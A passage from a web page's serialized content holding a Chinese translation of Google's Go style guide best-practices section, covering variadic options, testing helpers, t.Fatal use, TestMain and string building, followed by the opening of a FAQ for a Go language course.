\u0026quot;us-west3\u0026quot;}, }) } 注意：选项结构中从不包含上下文。\n当以下一些情况适用时，这个选项通常是首选。\n所有调用者都需要指定一个或多个选项。 大量的调用者需要提供许多选项。 用户将调用的多个函数之间共享这些选项。 不定长选项 使用不定长选项，可以创建导出的函数，其返回的闭包可以传递给函数的不定长选项参数。该函数将选项的值作为其参数（如果有的话），而返回的闭包接受一个可变的引用（通常是一个指向结构体类型的指针），该引用将根据输入进行更新。\n使用不定长选项可以提供很多好处：\n当不需要配置时，在调用函数时选项将不占用空间 选项仍然是值，所以调用者可以共享它们，编写帮助程序，并积累它们。 选项可以接受多个参数（例如 cartesian.Translate(dx, dy int) TransformOption）。 选项函数可以返回一个命名的类型，以便在godoc中把选项组合起来。 包可以允许（或阻止）第三方包，定义（或不定义）他们自己的选项。 注意：使用不定长选项需要大量的额外代码（见下面的例子），所以只有在优势大于开销的情况下才可以使用。\n下面是一个可以改进的函数的例子：\n// Bad: func EnableReplication(ctx context.Context, config *placer.Config, primaryCells, readonlyCells []string, replicateExisting, overwritePolicies bool, replicationInterval time.Duration, copyWorkers int, healthWatcher health.Watcher) { ... } 上面的例子可以用不定长选项改写如下：\n// Good: type replicationOptions struct { readonlyCells []string replicateExisting bool overwritePolicies bool replicationInterval time.Duration copyWorkers int healthWatcher health.Watcher } // A ReplicationOption configures EnableReplication. type ReplicationOption func(*replicationOptions) // ReadonlyCells adds additional cells that should additionally // contain read-only replicas of the data. // // Passing this option multiple times will add additional // read-only cells. // // Default: none func ReadonlyCells(cells ...string) ReplicationOption { return func(opts *replicationOptions) { opts.readonlyCells = append(opts.readonlyCells, cells...) } } // ReplicateExisting controls whether files that already exist in the // primary cells will be replicated. Otherwise, only newly-added // files will be candidates for replication. // // Passing this option again will overwrite earlier values. // // Default: false func ReplicateExisting(enabled bool) ReplicationOption { return func(opts *replicationOptions) { opts.replicateExisting = enabled } } // ... other options ... // DefaultReplicationOptions control the default values before // applying options passed to EnableReplication. var DefaultReplicationOptions = []ReplicationOption{ OverwritePolicies(true), ReplicationInterval(12 * time.Hour), CopyWorkers(10), } func EnableReplication(ctx context.Context, config *placer.Config, primaryCells []string, opts ...ReplicationOption) { var options replicationOptions for _, opt := range DefaultReplicationOptions { opt(\u0026amp;options) } for _, opt := range opts { opt(\u0026amp;options) } } 函数可以在不同的包中调用：\n// Good: func foo(ctx context.Context) { // Complex call: storage.EnableReplication(ctx, config, []string{\u0026quot;po\u0026quot;, \u0026quot;is\u0026quot;, \u0026quot;ea\u0026quot;}, storage.ReadonlyCells(\u0026quot;ix\u0026quot;, \u0026quot;gg\u0026quot;), storage.OverwritePolicies(true), storage.ReplicationInterval(1*time.Hour), storage.CopyWorkers(100), storage.HealthWatcher(watcher), ) // Simple call: storage.EnableReplication(ctx, config, []string{\u0026quot;po\u0026quot;, \u0026quot;is\u0026quot;, \u0026quot;ea\u0026quot;}) } 当以下许多情况适用时，最好选择不定长选项：\n大多数调用者不需要指定任何选项。 大多数选项不经常使用。 有大量的选项。 选项需要参数。 选项可能会失败或被错误地设置（在这种情况下，选项函数会返回一个error）。 选项需要大量的文档，在一个结构中很难容纳。 用户或其他软件包可以提供自定义选项。 这种风格的选项应该接受参数，而不是用存在来表示它们的价值；后者会使参数的动态组成变得更加困难。例如，二进制设置应该接受一个布尔值（例如，rpc.FailFast(enable bool)比rpc.EnableFailFast()更合适。） 枚举的选项应该接受一个枚举的常量（例如，log.Format(log.Capacitor)比log.CapacitorFormat()更合适）。另一种方法使那些必须以编程方式选择传递哪些选项的用户更加困难；这种用户被迫改变参数的实际组成，而不是简单地改变选项的参数。不要假设所有的用户都会静态地知道全部的选项。\n一般来说，选项应该被按顺序处理。如果有冲突或者一个非累积的选项被多次传递，以最后一个参数为准。\n在这种模式下，选项函数的参数通常是非导出的，以限制选项只在包本身内定义。这是一个很好的默认值，尽管有时允许其他包定义选项也是合适的。\n参见Rob Pike的原始博文和Dave Cheney的演讲，以更深入地了解这些选项的使用方法。\n复杂的命令行交互界面 有些程序希望为用户提供丰富的命令行交互界面，包括子命令。例如，kubectl create、kubectl run以及其他许多子命令都是由程序kubectl提供的。至少有以下常用的库可以实现这一点。\n如果你没有偏好或者其他考虑因素相同，推荐使用子命令，因为它最简单，而且容易正确使用。然而，如果你需要它无法提供的不同功能，请挑选其他候选之一。\ncobra\n命令行标志惯例：getopt 在谷歌代码库之外很常见。 许多额外的功能。 usage中的陷阱（见下文）。 subcommands\n命令行标志约定：Go 简单且易于正确使用。 如果你不需要额外的功能，推荐使用。 警告：cobra命令函数应该使用cmd.Context()来获取上下文，而不是用context.Background()创建自己的根上下文。使用subcommands包的代码已经将正确的上下文作为一个函数参数来接收。\n你不需要把每个子命令放在一个单独的包中，而且通常也没有必要这样做。应用与任何Go代码库相同的关于包边界的考虑。如果你的代码既可以作为库也可以作为二进制文件使用，通常将CLI代码和库分开是有益的，使CLI只是诸多客户端中的一个。(这不是专门针对有子命令的CLI的，但在此提及，因为它是一个常见的地方。）\n测试 把测试留给Test函数 Go区分了”测试助手程序”和”断言助手程序”：\n测试助手是负责设置或清理任务的函数。所有发生在测试助手中的故障都被认为是环境的故障（而不是被测代码的故障）–例如，当测试数据库无法启动时，因为这台机器上已经没有空闲的端口了。对于这样的函数，调用t.Helper通常是合适的，可以将其标记为测试助手。更多细节见测试助手的错误处理。\n断言助手是检查系统正确性的函数，如果没有达到预期，则测试失败。使用断言助手在Go中并不是一种惯例。\n测试的目的是报告被测代码的通过/失败情况。测试失败的理想场所是在Test函数自身中，因为这可以确保失败信息和测试逻辑是清晰的。\n随着你的测试代码的增长，可能有必要将一些功能分解为独立的功能。标准的软件工程考虑仍然适用，因为测试代码仍然是代码。如果功能不与测试框架交互，那么所有的常规规则都适用。然而，当普通代码与框架交互时，必须注意避免常见的陷阱，这些陷阱会导致信息量不足的失败信息和不可维护的测试。\n如果许多独立的测试用例需要相同的验证逻辑，请以下列方式之一安排测试，而不是使用断言助手或复杂的验证函数。\n在Test函数中内联逻辑（包括验证和失败），即使它是重复的。这在简单的情况下效果最好。 如果输入是类似的，考虑将它们统一到一个表驱动的测试中，同时在循环中保持逻辑的内联。这有助于避免重复，同时在测试中保持验证和失败。 如果有多个调用者需要相同的验证功能，但表格测试不适合（通常是因为输入不够简单或验证需要作为操作序列的一部分），安排验证函数，使其返回一个值（通常是一个error），而不是采取testing.T参数并使用它来使测试失败。在测试中使用逻辑来决定是否失败，并提供有用的测试失败。你也可以创建测试助手，以抽出常见的模板设置代码。 在最后一点中概述的设计保持正交性。例如，package cmp的设计不是为了使测试失败，而是为了比较（和差异）值。因此，它不需要知道进行比较的上下文，因为调用者可以提供这个。如果你的普通测试代码为你的数据类型提供了一个cmp.Transformer，这通常可以是最简单的设计。对于其他验证，可以考虑返回一个错误值。\n// Good: // polygonCmp returns a cmp.Option that equates s2 geometry objects up to // some small floating-point error. func polygonCmp() cmp.Option { return cmp.Options{ cmp.Transformer(\u0026quot;polygon\u0026quot;, func(p *s2.Polygon) []*s2.Loop { return p.Loops() }), cmp.Transformer(\u0026quot;loop\u0026quot;, func(l *s2.Loop) []s2.Point { return l.Vertices() }), cmpopts.EquateApprox(0.00000001, 0), cmpopts.EquateEmpty(), } } func TestFenceposts(t *testing.T) { // This is a test for a fictional function, Fenceposts, which draws a fence // around some Place object. The details are not important, except that // the result is some object that has s2 geometry (github.com/golang/geo/s2) got := Fencepost(tomsDiner, 1*meter) if diff := cmp.Diff(want, got, polygonCmp()); diff != \u0026quot;\u0026quot; { t.Errorf(\u0026quot;Fencepost(tomsDiner, 1m) returned unexpected diff (-want+got):\\n%v\u0026quot;, diff) } } func FuzzFencepost(f *testing.F) { // Fuzz test (https://go.dev/doc/fuzz) for the same. f.Add(tomsDiner, 1*meter) f.Add(school, 3*meter) f.Fuzz(func(t *testing.T, geo Place, padding Length) { got := Fencepost(geo, padding) // Simple reference implementation: not used in prod, but easy to // reasonable and therefore useful to check against in random tests. reference := slowFencepost(geo, padding) // In the fuzz test, inputs and outputs can be large so don't // bother with printing a diff. cmp.Equal is enough. if !cmp.Equal(got, reference, polygonCmp()) { t.Errorf(\u0026quot;Fencepost returned wrong placement\u0026quot;) } }) } polygonCmp函数对它的调用方式是不可知的；它不接受具体的输入类型，也不规定在两个对象不匹配的情况下该做什么。因此，更多的调用者可以使用它。\n注意：在测试助手和普通库代码之间有一个类比。除非在极少数情况下，库中的代码通常不应该报panic；从测试中调用的代码不应该停止测试，除非继续下去没有意义。\n设计可扩展的验证APIs 风格指南中关于测试的大部分建议都是关于测试你自己的代码。本节是关于如何为其他人提供设施来测试他们编写的代码，以确保它符合你的库的要求。\n验收测试 这种测试被称为验收测试。这种测试的前提是，使用测试的人不知道测试中的每一个细节；他们只是把输入交给测试设施来完成工作。这可以被认为是一种控制倒置的形式。\n在一个典型的Go测试中，test函数控制着程序流程，没有断言和test函数指导鼓励你保持这种方式。本节解释了如何以符合Go风格的方式来编写对这些测试的支持。\n在深入探讨如何做之前，请考虑下面摘录自io/fs中的一个例子。\ntype FS interface { Open(name string) (File, error) } 虽然已存在许多fs.FS的实现，但Go开发者可能会期望自己编写一个。为了帮助验证用户的fs.FS实现是否正确，testing/fstest中提供了一个名为fstest.TestFS的通用库。这个API将实现作为一个黑箱来处理，以确保它维护io/fs契约的最基本部分。\n编写验收测试 现在我们知道了什么是验收测试，以及为什么要使用验收测试，让我们来探讨为包chess建立验收测试，这是一个用来模拟国际象棋游戏的包。国际象棋的用户应该实现chess.Player接口。这些实现是我们要验证的主要内容。我们的验收测试关注的是棋手的实现是否合法走出棋子，而不是这些棋子是否聪明。\n为验证行为创建一个新的包，通常在包名后面加上test一词来命名（例如，chesstest）。\n创建执行验证的函数，接受被测试的实现作为参数并对其进行练习。\n// ExercisePlayer tests a Player implementation in a single turn on a board. // The board itself is spot checked for sensibility and correctness. // // It returns a nil error if the player makes a correct move in the context // of the provided board. Otherwise ExercisePlayer returns one of this // package\u0026rsquo;s errors to indicate how and why the player failed the // validation. func ExercisePlayer(b *chess.Board, p chess.Player) error\n测试应该注意哪些不变式被破坏，以及如何破坏。你的设计可以在两种失败报告的规则中选择。\n快速失败：一旦实现违反了一个不变式，就返回一个错误。 这是最简单的方法，如果预计验收测试会快速执行，那么它的效果很好。简单的错误哨兵和自定义类型可以很容易地用在这里，这反倒使测试验收测试变得容易。\nfor color, army := range b.Armies { // The king should never leave the board, because the game ends at // checkmate. if army.King == nil { return \u0026amp;MissingPieceError{Color: color, Piece: chess.King} } } 汇总所有的失败：收集所有的失败，并全部报告。 这种方法感觉上类似于“继续进行下去”的规则，如果验收测试预计执行缓慢，这种方法可能更可取。\n你如何聚集失败，应该由你是否想让用户或你自己有能力询问单个失败（例如，测试你的验收测试）来决定。下面演示了使用一个自定义的错误类型来聚合错误。\nvar badMoves []error move := p.Move() if putsOwnKingIntoCheck(b, move) { badMoves = append(badMoves, PutsSelfIntoCheckError{Move: move}) } if len(badMoves) \u0026gt; 0 { return SimulationError{BadMoves: badMoves} } return nil 验收测试应该遵守“继续进行下去”的规则，不调用t.Fatal，除非测试检测到被测试的系统中的不变量被损坏。\n例如，t.Fatal应该保留给特殊情况，如设置失败：\nfunc ExerciseGame(t *testing.T, cfg *Config, p chess.Player) error { t.Helper() if cfg.Simulation == Modem { conn, err := modempool.Allocate() if err != nil { t.Fatalf(\u0026quot;no modem for the opponent could be provisioned: %v\u0026quot;, err) } t.Cleanup(func() { modempool.Return(conn) }) } // Run acceptance test (a whole game). } 这种技术可以帮助你创建简明、规范的验证。但不要试图用它来绕过断言的规则。\n最终产品应该以类似这样的形式提供给终端用户。\n// Good: package deepblue_test import ( \u0026quot;chesstest\u0026quot; \u0026quot;deepblue\u0026quot; ) func TestAcceptance(t *testing.T) { player := deepblue.New() err := chesstest.ExerciseGame(t, chesstest.SimpleGame, player) if err != nil { t.Errorf(\u0026quot;deepblue player failed acceptance test: %v\u0026quot;, err) } } 使用真实的传输 当测试组件集成时，特别是HTTP或RPC被用作组件之间的底层传输时，最好使用真正的底层传输来连接到后端的测试版本。\n例如，假设你要测试的代码（有时被称为 “被测系统 “或SUT）与实现长期运行操作的API的后端交互。为了测试你的SUT，使用一个真正的OperationsClient，它连接到OperationsServer的测试替身（例如，一个mock、stub或fake）。\n由于正确模仿客户端行为的复杂性，我们建议不要手工实现客户端。通过使用生产客户端和测试专用服务器，你可以确保你的测试尽可能多地使用真实代码。\n提示：在可能的情况下，使用由被测服务的作者提供的测试库。\nt.Error vs. t.Fatal 正如决定篇中所讨论的，测试一般不应该在第一次遇到问题时就中止。\n然而，有些情况需要测试不要继续进行。当某些测试设置失败时，调用t.Fatal是合适的，特别是在测试设置助手中，没有它你就不能运行测试的其余部分。在表驱动的测试中，t.Fatal适合于在测试循环之前设置整个测试功能的失败。影响测试表中单个条目的故障，使该条目无法继续进行，应按以下方式报告。\n如果你没有使用t.Run子测试，使用t.Error，后面跟一个continue语句，继续执行下一个表项。 如果你使用了子测试（并且你在调用t.Run的过程中），使用t.Fatal，结束当前的子测试并允许你的测试用例进入下一个子测试。 警告：调用t.Fatal和类似函数并不总是安全的。更多的细节在这里。\n测试助手中的错误处理 注意：本节讨论的是Go使用的测试助手：执行测试设置和清理的函数，而不是普通的断言设施。更多讨论见测试函数部分。\n由测试助手执行的操作有时会失败。例如，创建一个带有文件的目录涉及到I/O，这可能会失败。当测试助手失败时，它们的失败往往意味着测试不能继续，因为一个设置前提条件失败了。当这种情况发生时，最好在帮助器中调用一个Fatal函数。\n// Good: func mustAddGameAssets(t *testing.T, dir string) { t.Helper() if err := os.WriteFile(path.Join(dir, \u0026quot;pak0.pak\u0026quot;), pak0, 0644); err != nil { t.Fatalf(\u0026quot;Setup failed: could not write pak0 asset: %v\u0026quot;, err) } if err := os.WriteFile(path.Join(dir, \u0026quot;pak1.pak\u0026quot;), pak1, 0644); err != nil { t.Fatalf(\u0026quot;Setup failed: could not write pak1 asset: %v\u0026quot;, err) } } 这就使调用方比帮助器返回错误给测试本身更干净：\n// Bad: func addGameAssets(t *testing.T, dir string) error { t.Helper() if err := os.WriteFile(path.Join(d, \u0026quot;pak0.pak\u0026quot;), pak0, 0644); err != nil { return err } if err := os.WriteFile(path.Join(d, \u0026quot;pak1.pak\u0026quot;), pak1, 0644); err != nil { return err } return nil } 警告：调用t.Fatal和类似函数并不总是安全的。更多的细节在这里。\n失败信息应该包括对所发生的事情的描述。这一点很重要，因为你可能会向许多用户提供测试用的API，特别是随着帮助器中产生错误的步骤的增加。当测试失败时，用户应该知道在哪里，以及为什么。\n提示：Go 1.14引入了一个t.Cleanup函数，可以用来注册清理函数，在你的测试完成后运行。该函数也适用于测试帮助器。请参阅GoTip #4: 清理你的测试以获得简化测试助手的指导。\n下面是一个名为paint_test.go的虚构文件中的片段，演示了(*testing.T).Helper如何影响Go测试中的失败报告。\npackage paint_test import ( \u0026quot;fmt\u0026quot; \u0026quot;testing\u0026quot; ) func paint(color string) error { return fmt.Errorf(\u0026quot;no %q paint today\u0026quot;, color) } func badSetup(t *testing.T) { // This should call t.Helper, but doesn't. if err := paint(\u0026quot;taupe\u0026quot;); err != nil { t.Fatalf(\u0026quot;could not paint the house under test: %v\u0026quot;, err) // line 15 } } func mustGoodSetup(t *testing.T) { t.Helper() if err := paint(\u0026quot;lilac\u0026quot;); err != nil { t.Fatalf(\u0026quot;could not paint the house under test: %v\u0026quot;, err) } } func TestBad(t *testing.T) { badSetup(t) // ... } func TestGood(t *testing.T) { mustGoodSetup(t) // line 32 // ... } 下面是上面示例的运行输出结果，请注意高亮部分以及它们的内容差别：\n=== RUN TestBad paint_test.go:15: could not paint the house under test: no \u0026quot;taupe\u0026quot; paint today --- FAIL: TestBad (0.00s) === RUN TestGood paint_test.go:32: could not paint the house under test: no \u0026quot;lilac\u0026quot; paint today --- FAIL: TestGood (0.00s) FAIL paint_test.go:15的错误是指在badSetup中失败的setup函数的那一行。\nt.Fatalf(\u0026quot;could not paint the house under test: %v\u0026quot;, err) 而paint_test.go:32指的是TestGood中失败的测试行。\ngoodSetup(t) 正确地使用(*testing.T).Helper可以将失败的位置归结得更好：\n助手函数扩展 帮助器函数调用其他帮助器 测试函数中的帮助器使用量增加 提示：如果一个帮助器调用 (_testing.T).Error 或 (_testing.T).Fatal，在格式字符串中提供一些上下文，以帮助确定什么地方出错以及为什么。\n提示：如果一个帮助器没有做任何事情会导致测试失败，它就不需要调用t.Helper。通过从函数参数列表中删除t来简化其签名。\n不要从独立的goroutine中调用t.Fatal 正如包testing中所记载的，从任何goroutine中调用t.FailNow、t.Fatal等都是不正确的，除了运行Test函数（或子测试）的goroutine。如果你的测试启动了新的goroutine，它们一定不能从这些goroutine内部调用这些函数。\n测试助手通常不会从新的goroutine发出失败信号，因此他们使用t.Fatal是完全正确的。如果有疑问，可以调用t.Error并返回。\n// Good: func TestRevEngine(t *testing.T) { engine, err := Start() if err != nil { t.Fatalf(\u0026quot;Engine failed to start: %v\u0026quot;, err) } num := 11 var wg sync.WaitGroup wg.Add(num) for i := 0; i \u0026lt; num; i++ { go func() { defer wg.Done() if err := engine.Vroom(); err != nil { // This cannot be t.Fatalf. t.Errorf(\u0026quot;No vroom left on engine: %v\u0026quot;, err) return } if rpm := engine.Tachometer(); rpm \u0026gt; 1e6 { t.Errorf(\u0026quot;Inconceivable engine rate: %d\u0026quot;, rpm) } }() } wg.Wait() if seen := engine.NumVrooms(); seen != num { t.Errorf(\u0026quot;engine.NumVrooms() = %d, want %d\u0026quot;, seen, num) } } 在测试或子测试中添加t.Parallel并不意味着调用t.Fatal就不安全。\n当所有对testing包API的调用都在测试函数中时，通常很容易发现不正确的用法，因为go关键字是显而易见的。传递testing.T参数会使跟踪这种用法更加困难。通常情况下，传递这些参数的原因是为了引入一个测试助手，而这些测试助手不应该依赖于被测系统。因此，如果一个测试助手注册了一个致命的测试失败，它可以而且应该从测试的goroutine中这样做。\n使用结构体字面值的字段标签 在表格驱动的测试中，最好为每个测试用例指定key。当测试用例覆盖了大量的垂直空间（例如，超过20-30行），当有相同类型的相邻字段时，以及当你希望省略具有零值的字段时，这是有帮助的。比如说。\n// Good: tests := []struct { foo *pb.Foo bar *pb.Bar want string }{ { foo: pb.Foo_builder{ Name: \u0026quot;foo\u0026quot;, // ... }.Build(), bar: pb.Bar_builder{ Name: \u0026quot;bar\u0026quot;, // ... }.Build(), want: \u0026quot;result\u0026quot;, }, } 保持setup代码在特定的测试范围内 在可能的情况下，资源和依赖关系的设置应该尽可能地与具体的测试案例紧密联系。例如，给定一个设置函数。\n// mustLoadDataSet loads a data set for the tests. // // This example is very simple and easy to read. Often realistic setup is more // complex, error-prone, and potentially slow. func mustLoadDataset(t *testing.T) []byte { t.Helper() data, err := os.ReadFile(\u0026quot;path/to/your/project/testdata/dataset\u0026quot;) if err != nil { t.Fatalf(\u0026quot;could not load dataset: %v\u0026quot;, err) } return data } 在需要它的测试函数中明确调用mustLoadDataset：\n// Good: func TestParseData(t *testing.T) { data := mustLoadDataset(t) parsed, err := ParseData(data) if err != nil { t.Fatalf(\u0026quot;unexpected error parsing data: %v\u0026quot;, err) } want := \u0026amp;DataTable{ /* ... */ } if got := parsed; !cmp.Equal(got, want) { t.Errorf(\u0026quot;ParseData(data) = %v, want %v\u0026quot;, got, want) } } func TestListContents(t *testing.T) { data := mustLoadDataset(t) contents, err := ListContents(data) if err != nil { t.Fatalf(\u0026quot;unexpected error listing contents: %v\u0026quot;, err) } want := []string{ /* ... */ } if got := contents; !cmp.Equal(got, want) { t.Errorf(\u0026quot;ListContents(data) = %v, want %v\u0026quot;, got, want) } } func TestRegression682831(t *testing.T) { if got, want := guessOS(\u0026quot;zpc79.example.com\u0026quot;), \u0026quot;grhat\u0026quot;; got != want { t.Errorf(`guessOS(\u0026quot;zpc79.example.com\u0026quot;) = %q, want %q`, got, want) } } 测试函数TestRegression682831没有使用数据集，因此没有调用慢且容易失败的mustLoadDataset：\n// Bad: var dataset []byte func TestParseData(t *testing.T) { // As documented above without calling mustLoadDataset directly. } func TestListContents(t *testing.T) { // As documented above without calling mustLoadDataset directly. } func TestRegression682831(t *testing.T) { if got, want := guessOS(\u0026quot;zpc79.example.com\u0026quot;), \u0026quot;grhat\u0026quot;; got != want { t.Errorf(`guessOS(\u0026quot;zpc79.example.com\u0026quot;) = %q, want %q`, got, want) } } func init() { dataset = mustLoadDataset() } 用户可能希望在与其他函数隔离的情况下运行一个函数，不应受到这些因素的惩罚：\n# No reason for this to perform the expensive initialization. $ go test -run TestRegression682831 何时使用自定义TestMain入口 如果软件包中的所有测试都需要共同的setup，并且setup需要teardown，你可以使用一个自定义的testmain入口。如果测试用例需要的资源的设置特别昂贵，而且成本应该被摊销，就会发生这种情况。通常情况下，你在这一点上已经从测试套件中提取了任何无关的测试。它通常只用于功能测试。\n使用一个自定义的TestMain不应该是你的第一选择，因为正确使用它应该有一定的谨慎。首先考虑在摊销普通测试设置部分的解决方案或普通测试助手是否足以满足你的需求。\n// Good: var db *sql.DB func TestInsert(t *testing.T) { /* omitted */ } func TestSelect(t *testing.T) { /* omitted */ } func TestUpdate(t *testing.T) { /* omitted */ } func TestDelete(t *testing.T) { /* omitted */ } // runMain sets up the test dependencies and eventually executes the tests. // It is defined as a separate function to enable the setup stages to clearly // defer their teardown steps. func runMain(ctx context.Context, m *testing.M) (code int, err error) { ctx, cancel := context.WithCancel(ctx) defer cancel() d, err := setupDatabase(ctx) if err != nil { return 0, err } defer d.Close() // Expressly clean up database. db = d // db is defined as a package-level variable. // m.Run() executes the regular, user-defined test functions. // Any defer statements that have been made will be run after m.Run() // completes. return m.Run(), nil } func TestMain(m *testing.M) { code, err := runMain(context.Background(), m) if err != nil { // Failure messages should be written to STDERR, which log.Fatal uses. log.Fatal(err) } // NOTE: defer statements do not run past here due to os.Exit // terminating the process. os.Exit(code) } 理想情况下，一个测试用例在自身的调用和其他测试用例之间是隔离的。\n至少要确保单个测试用例重置他们所修改的任何全局状态，如果他们已经这样做了（例如，如果测试是与外部数据库一起工作）。\n摊销共同测试设置 如果共同setup有以下情况，使用sync.Once可能是合适的，尽管不是必须的：\n它很昂贵。\n它只适用于某些测试。\n它不需要teardown。\n// Good: var dataset struct { once sync.Once data []byte err error }\nfunc mustLoadDataset(t *testing.T) []byte { t.Helper() dataset.once.Do(func() { data, err := os.ReadFile(\u0026ldquo;path/to/your/project/testdata/dataset\u0026rdquo;) // dataset is defined as a package-level variable. dataset.data = data dataset.err = err }) if err := dataset.err; err != nil { t.Fatalf(\u0026ldquo;could not load dataset: %v\u0026rdquo;, err) } return dataset.data }\n当mustLoadDataset被用于多个测试函数时，其成本被摊销。\n// Good: func TestParseData(t *testing.T) { data := mustLoadDataset(t) // As documented above. } func TestListContents(t *testing.T) { data := mustLoadDataset(t) // As documented above. } func TestRegression682831(t *testing.T) { if got, want := guessOS(\u0026quot;zpc79.example.com\u0026quot;), \u0026quot;grhat\u0026quot;; got != want { t.Errorf(`guessOS(\u0026quot;zpc79.example.com\u0026quot;) = %q, want %q`, got, want) } } 共同的teardown之所以棘手，是因为没有统一的地方来注册清理例程。如果setup函数（在这种情况下是loadDataset）依赖于一个上下文，sync.Once可能会有问题。这是因为对setup函数的两次竞争调用中的第二次需要等待第一次调用完成后再返回。这段等待时间可能与上下文的取消操作有竞争。\n字符串连接 Go支持很多种字符串连接的方法，比如：\n“+” 操作符 fmt.Sprintf strings.Builder text/template safehtml/template 虽然没有一个放之四海而皆准的选择规则，但以下指导意见概述了每种方法在什么情况下是首选。\n简单情况下首选”+”操作符 当连接几个字符串时，更倾向于使用”+”。这种方法在语法上是最简单的，不需要导入。\n// Good: key := \u0026quot;projectid: \u0026quot; + p 在需要格式化的情况下，选择fmt.Sprintf 当建立一个带有格式化的复杂字符串时，更倾向于使用fmt.Sprintf。使用许多”+”运算符可能会掩盖最终的结果。\n// Good: str := fmt.Sprintf(\u0026quot;%s [%s:%d]-\u0026gt; %s\u0026quot;, src, qos, mtu, dst) // Bad: bad := src.String() + \u0026quot; [\u0026quot; + qos.String() + \u0026quot;:\u0026quot; + strconv.Itoa(mtu) + \u0026quot;]-\u0026gt; \u0026quot; + dst.String() 最佳实践：当字符串构建操作的输出是io.Writer时，不要为了发送到Writer而用fmt.Sprintf构建一个临时字符串，相反，使用fmt.Fprintf来直接向Writer发送。\n当格式化更加复杂时，请酌情选择text/template或safehtml/template。\n倾向于使用strings.Builder基于零散字符串构建字符串 尽量使用strings.Builder基于零散字符串构建字符串。strings.Builder需要摊销的线性时间，而”+”和fmt.Sprintf在连续调用以形成一个较大的字符串时需要二次方时间。\n// Good: b := new(strings.Builder) for i, d := range digitsOfPi { fmt.Fprintf(b, \u0026quot;the %d digit of pi is: %d\\n\u0026quot;, i, d) } str := b.String() 注意：关于更多的讨论，请参阅GoTip #29: 高效地构建字符串。\n常量字符串 尽量用“构建多行常量字符串。\n// Good: usage := `Usage: custom_tool [args]` // Bad: usage := \u0026quot;\u0026quot; + \u0026quot;Usage:\\n\u0026quot; + \u0026quot;\\n\u0026quot; + \u0026quot;custom_tool [args]\u0026quot; ","permalink":"https://tonybai.com/google-go-style/google-go-style-best-practices/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/google-go-style/google-go-style-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices\"\u003ehttps://tonybai.com/google-go-style/google-go-style-best-practices\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e本页面是2022年11月中旬Google发布的\u003ca href=\"https://google.github.io/styleguide/go/index\"\u003eGo语言编码风格规范\u003c/a\u003e系列文档的\u003ca href=\"https://google.github.io/styleguide/go/best-practices\"\u003e最佳指南篇\u003c/a\u003e的中译版。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style\"\u003e概述\u003c/a\u003e | \u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide\"\u003e指南\u003c/a\u003e | \u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions\"\u003e决定\u003c/a\u003e | \u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices\"\u003e最佳实践\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e注意：这是介绍\u003ca href=\"https://tonybai.com/google-go-style\"\u003eGoogle Go编码风格的系列文档\u003c/a\u003e的一部分。本文档既不是规范性的，也不是权威性的。本文档是\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide\"\u003e指南篇\u003c/a\u003e的辅助文档，更多信息请参见\u003ca href=\"https://tonybai.com/google-go-style\"\u003e概述篇\u003c/a\u003e。\u003c/p\u003e","title":"Google Go语言编码风格规范：最佳实践篇"},{"content":"\n本文永久链接 – https://tonybai.com/go-course-faq\n《Go语言第一课》专栏正式上线后收到了很多读者的留言反馈，很多留言中的问题显然都是大家认真思考过提出的，在专栏后台我也尽可能地做出认真细致的回答。这些问题以及我的回答也算是我和专栏学习者基于专栏的二次创作，于是我有了将这些问题作为FAQ集中记录起来的想法，这就是这篇文章的由来。\n本页面内容将持续更新！请持续关注本FAQ永久链接 – https://tonybai.com/go-course-faq。\n一. 本人相关 关于音频中带有地方特色的口音^_^ 这也是我第一次录带有音频的专栏，虽然音频老师给与了多次耐心的讲解，但毕竟不是专业的，在音频技巧方面还有提高空间。\n有些童鞋听出了我的地方特色的口音，这个我得承认，而且这个不是短期能修正的^_^。我是辽宁人，辽宁一些地区的地方特色口音就是平翘舌界限不清晰，这里还希望大家海涵。\n二. Go专栏 为什么要出这个Go专栏？ 为此，我特意写了一篇简短的文章，叙述了这门Go专栏诞生幕后的那些事，感兴趣的朋友可以去看看。\n专栏的更新节奏 根据极客时间要求，专栏每周更新三篇。希望我能保持生产力，争取不断更，压力山大啊！\n是否有针对该专栏的交流群 目前暂没有。作者精力有限，能力有限，不适合维护这样的一个群，希望大家体谅。欢迎大家在专栏积极留言，我会认真解答大家问题的。\n阅读完该专栏，我是否可以得到地道的Go代码编写风格、优雅的Go编程姿势呢？ 虽然这门课的定位是入门课，而并非进阶课，但我在课程讲解以及Go示例代码中都会尽力以native的Go代码去呈现。并且课程讲解穿插着一些关于Go编码的最佳实践建议，希望大家在阅读后能有收获。\nbtw，要写出native 的Go代码，一定要多读高质量Go代码，Go标准库是一个最好的选择。俗话说：”熟读唐诗三百首，不会作诗也会吟”，多读高质量代码，与此有异曲同工之妙。\n专栏讲解使用的是Go最新稳定版本吗？ 专栏写作开始于Go 1.17正式发布之前，因此早期的一些篇章使用的可能是Go 1.16.x版本，后期使用的几乎都是最新的Go 1.17.x。即便有一些引用的标准库或运行时的代码是Go 1.17之前的某个版本的，我这里也可以保证这些代码的引用仅是为了说明某个具体知识点，不会影响到大家的理解。\n一个可能影响大家实践的问题就是从Go 1.17版本开始，go get不再用于安装某个Go版本或工具，我们要用Go install。Go install命令在之前的版本中几乎被弱化到“基本不用”的尴尬境地，其角色都被go get的光环所掩盖。\n但从Go 1.17开始，Go install又恢复了其本职工作。\n老师你好，我想咨询个问题，在听您课的过程中还可以和哪些资料一起参考学习，学习进度可能快些的。 